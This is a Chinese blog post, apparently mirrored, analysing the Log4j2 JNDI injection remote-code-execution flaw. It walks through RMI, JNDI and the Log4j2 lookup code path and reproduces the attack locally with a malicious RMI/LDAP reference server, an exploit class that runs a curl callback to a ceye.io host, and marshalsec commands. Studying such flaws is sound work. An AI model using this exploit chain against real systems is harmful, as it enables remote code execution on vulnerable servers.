14

Java代码审计-Log4j2漏洞分析

 2 years ago
source link: https://timeshu.github.io/2022/02/09/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-Log4j2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#0X07-%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
Time'Blog

Java代码审计-Log4j2漏洞分析

发表于2022-02-09|更新于2022-02-18|代码审计
阅读量:40|评论数:

0X01 Log4j2 组件

Log4j2 日志组件是一款比较优秀的 Java程序日志监控组件,同属于 Java全生态中的基础组件之一。最近被爆出 RCE 漏洞,据不完全统计,影响多达60644个开源软件,涉及相关版本软件包更是达到321094个。且利用方式简单,之前测 XSS 的点,都可以用来插入恶意代码,被称为核弹级漏洞

0X02 RMI

RMI 概念

要分析 Log4j2 漏洞 就得了解一下 RMI 和 JNDI。

RMI 全称 Remote Method Invocation,是 JAVA 实现远程过程调用的应用程序编程接口,存储于 java.rmi 包中,使用期方法调用对象时,必须实现 Remote远程接口。它可以让客户机上运行的程序调用远程服务器上的对象。而远程方法调用的特性可以让开发者能够在网络环境中分布操作。RMI 宗旨就是尽可能简化远程接口对象的使用。

RMI 三层架构

  • 客户端
    • 存根/桩(Stub):远程对象在客户端上的代理。
    • 远程引用层(Remote Reference Layer):解析并执行远程引用协议。
    • 传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。
  • 服务端
    • 骨架(Skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值。
    • 远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用。
    • 传输层(Transport):监听客户端的入站连接,接收并转发调用到远程引用层。
  • 注册表
    • 注册中心(Registry):以URL形式注册远程对象,并向客户端回复对远程对象的引用。

流程图-引用先知社区小阳大佬的图

觉得上图太复杂可以看这幅图-引用先知社区大佬ghtwf01

服务端配置

先编写一个远程接口

  • 该接口需要继承 Remote 类,该类仅表示 RMI 标识接口,说明可进行 RMI JAVA 虚拟机调用
  • 需要声明 java.rmi.RemoteException 报错,因 RMI 通信本质是基于 “网络传输”
plaintext
package RMIServer;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloWorld extends Remote {
public String hello() throws RemoteException;
}

远程接口实现类

  • 需要继承 UnicastRemoteObject 类,用于生成 Stub(存根) 和 Skeleton(骨架)
    • Stub 可以看作远程对象在本地的一个代理,囊括了远程对象的具体信息,客户端可以通过这个代理和服务端进行交互。
    • Skeleton 可以看作为服务端的一个代理,用来处理Stub发送过来的请求,然后去调用客户端需要的请求方法,最终将方法执行结果返回给 Stub 。
  • 构造函数需要抛出 java.rmi.RemoteException 报错,同时使用 super() 关键词调用父类构造函数
plaintext
package RMIServer;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIHelloWorld extends UnicastRemoteObject implements HelloWorld {
protected RMIHelloWorld() throws RemoteException{
super();
System.out.println("RMIServer构造函数运行");
}

public String hello() throws RemoteException{
System.out.println("RMIServer接口调用成功");
return "RMIServer接口调用成功";
}
}

服务端部署代码

plaintext
package RMIServer;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIS {
public static void main(String[] args) throws RemoteException {
RMIHelloWorld hello = new RMIHelloWorld();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello

}
}

服务端配置完成后, RMIS 将提供的服务注册在 RMIService 上,并公开了固定路径,让客户端去访问。

客户端配置

plaintext
package RMIClient;

import RMIServer.HelloWorld;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient {
public static void main(String[] args) throws Exception {
//获取远程主机对象
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

// 利用注册表的代理去查询远程注册表中名为hello的对象
HelloWorld h = (HelloWorld) registry.lookup("hello");

// 调用远程方法
String hello = h.hello();
System.out.println(hello);
}
}

客户端只需要调用 java.rmi.Naming.lookup 函数,通过公开的路径从RMIService服务器上拿到对应接口的实现类, 之后通过本地接口即可调用远程对象的方法 .

首先我们启动服务端

可以看见服务端启动成功,并打印了构造函数的内容。

然后启动客户端

成功调用了 hello 方法。

上面由于做测试,我是分成多个文件编写的,有点麻烦,可以将服务端代码写在一个文件里面。

服务端代码

plaintext
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIS {
public interface HelloWorld extends Remote{
public String hello() throws RemoteException;
}

public class RMIHelloWorld extends UnicastRemoteObject implements HelloWorld{
protected RMIHelloWorld() throws RemoteException{
super();
System.out.println("RMIServer");
}

public String hello() throws RemoteException{
System.out.println("RMIServer接口");
return "RMIServer接口";
}
}

private void start() throws Exception{
RMIHelloWorld hello = new RMIHelloWorld();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("hello",hello);
}

public static void main(String[] args) throws Exception {
new RMIS().start();
}
}

客户端代码

plaintext
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

//RMIS.HelloWorld h = (RMIS.HelloWorld) Naming.lookup("rmi://127.0.0.1:1099/hello");
//注意 这里接口得和服务端一致
RMIS.HelloWorld h = (RMIS.HelloWorld) registry.lookup("hello");

String hello = h.hello();
System.out.println(hello);
}
}

服务端启动

客户端启动,成功调用了 hello 资源

大致了解了 RMI 整个流程 , 其他的就不再深入,留个坑先。

0X03 JNDI

JNDI 是 Java 命名和目录接口,全称(Java Naming and Directory Interface,缩写 JNDI ),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

JNDI 注入

JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI),如果URI可控,那么客户端就可能会被攻击。

通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。

  • className - 远程加载时所使用的类名
  • classFactory - 加载的class中需要实例化类的名称
  • classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

由于Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapperReference的实例进行一个封装。

服务端配置

plaintext
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//创建注册表
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Expload", "Expload", "http://127.0.0.1:80");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);//封装对象
registry.bind("exp",referenceWrapper); //将封装的对象绑定到 exp 上
}
}

创建一个恶意代码执行类 expload

plaintext
import java.lang.Runtime;

public class Expload {
public Expload() throws Exception{
Runtime.getRuntime().exec("curl xxxx.ceye.io");
System.out.println("expload攻击");
}
}

编译成 class 文件,创建一个小型的web服务器,需在 class 文件目录下创建

plaintext
python3 -m http.server 80  //创建小型web服务器

javac Expload //编译java文件

客户端配置

plaintext
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDI_Exp {
public static void main(String[] args) throws NamingException {
//版本过高,需要人为设定 rmi 或 jndi 为true
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
new InitialContext().lookup("rmi://127.0.0.1:1099/exp");
}
}

大致了解了 RMI 和 JNDI 的用法,可以开始分析一波 log4j2 漏洞原理。

0X04 环境搭建

在网上有现成的漏洞环境,这里就不在详细赘述。

漏洞环境:https://github.com/haigeek/Log4j2_RCE

IDEA导入即可。

0X05 漏洞分析

logIfEnabled 判断日志是否开启,调用 isEnabled 判断,返回true,会调用 logMessage , 跟进 isEnabled

红框中 this.intLever 是 log4j2 默认设置的日志等级,用户也可修改 默认是 200

判断 >= 200 即日志成功开启, 返回 ture,随后调用 logMessage

messageFactory.newMessage 对数据进行参数化,跟进

调用 logMessageTrackRecursion 递归处理日志

获取日志打印策略 getReliabilityStrategy ,跟进 log

创建 logEvent,然后调用重载方法 log 处理 logEvent 信息

加锁 callAppender 一直跟进带 callAppender 的方法,一直到 tryAppend

上面跟进的流程,大致是流程就是判断日志开启,参数化,打印策略,加锁等

后续是 本次漏洞的关键点。

this.getlayout 是 PatternLayout 对象(处理日志格式对象),这里调用 PatternLayout 对象中的 encode 对日志进行处理

toText 传递了两个参数

  • this.eventSerializer 是处理日志的 11 个 formatters 对象
    • org.apache.logging.log4j.core.pattern.DatePatternConverter
    • org.apache.logging.log4j.core.pattern.LiteralPatternConverter
    • org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
    • org.apache.logging.log4j.core.pattern.LevelPatternConverter
    • org.apache.logging.log4j.core.pattern.LoggerPatternConverter
    • org.apache.logging.log4j.core.pattern.MessagePatternConverter (重点)
    • org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
    • org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter

遍历不同的 formatters 对象处理日志信息,此次漏洞点就是在 MessagePatternConverter 对象中

循环进入第八次时,跟进 format

this.noLookoups 为 false 即支持 jndi

这里匹配到 ${ 后,将内容交给 workingBuilder.append 匹配替换,跟进 workingBuilder.append

继续跟进 substitute

这里是将 ${ } [:,-] 字符给替换成空了

然后循环递归提取 ${} 中的内容

提取完内容后交由 resolveVariable 处理,跟进

getVariableResolver 是 interplator 对象 ,包含 3个 map

其中 strLookup 将一些 lookup 功能关键字和对应的实例类进行了映射

后面调用 resolver.lookup 处理,跟进

这里截取 jndi 跟进 jndi 获取到对应的 JndiLookup对象,然后调用 jndi 对象的 lookup 处理 payload 信息

执行了恶意类,计算机反弹成功。

有些地方还是有些懵逼,大致了解的差不多了, 后续还需要深入学习一下

0X06 漏洞复现

marshalsec下载地址:https://github.com/mbechler/marshalsec 需自行编译成 jar 包

编译好的下载地址:https://gitee.com/fcncdn/marshalsec-0.0.3/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

在 java 目录下启个服务,得是 Exploit.java 目录,方便获取到恶意攻击类文件

plaintext
python3 -m http.server 83

生成 class

plaintext
javac Expload

使用 marshalsec 开启 ldap 服务

plaintext
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:83/\#Exploit

注意:exp 默认执行的是 cmd1 弹出 计算器, 如果你是 mac 要注意计算器的目录,有些可能和exp中目录不一致导致计算器弹不出来。。

做完准备工作后,运行 Test

0X07 参考链接

https://xz.aliyun.com/t/9261

https://xz.aliyun.com/t/9053

https://blog.csdn.net/angry_program/article/details/121994740

https://www.anquanke.com/post/id/263325

https://paper.seebug.org/1787/

https://paper.seebug.org/1786/

https://www.cnblogs.com/dengyungao/p/7524902.html

https://www.cnblogs.com/piaomiaohongchen/p/15711310.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK